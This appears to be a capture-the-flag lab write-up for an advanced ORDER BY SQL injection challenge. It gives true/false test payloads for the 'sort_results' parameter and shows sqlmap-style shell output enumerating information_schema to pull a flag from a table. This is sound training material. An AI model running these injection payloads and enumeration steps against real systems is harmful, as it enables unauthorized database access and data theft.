

Challenge 10

<http://192.168.2.11/sqli/sql8/>

[Level: Advanced]

- Which parameter is vulnerable?
Sort_results
- Provide test case to confirm the sql injection vulnerability

True case:

```
sort_results=(select 1)
```

False case:

```
sort_results=(select 1,2)
```

Read more about this here:

<http://www.notsosecure.com/blog/2008/08/01/injection-in-order-by-clause/>

- Obtain the database username and flag.

```
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.0
[15:36:03] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select table_name from information_schema.columns where column_name = 'flag';
[15:39:03] [INFO] fetching SQL SELECT statement query output: 'select table_name from information_schema.columns where column_name = 'flag''
[15:39:03] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[15:39:03] [INFO] retrieved: 1
the SQL query provided can return 1 entries. How many entries do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
> a
[15:39:05] [INFO] retrieved: uber
select table_name from information_schema.columns where column_name = 'flag'; [1]:
[*] uber
sql-shell>
```

```
sql-shell> select flag from uber;
[15:44:25] [INFO] fetching SQL SELECT statement query output: 'select flag from uber'
[15:44:25] [INFO] retrieved: 1
the SQL query provided can return 1 entries. How many entries do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
a
[15:44:28] [INFO] retrieved: Like it!!! Flag is 118729
select flag from uber; [1]:
[*] Like it!!! Flag is 118729
```

Further reading:

http://www.tuxz.net/blog/archives/2010/11/21/sql_injection_exploiting_the_order_by_clause/

http://www.gremwell.com/exploiting_sql_injection_in_order_by_on_oracle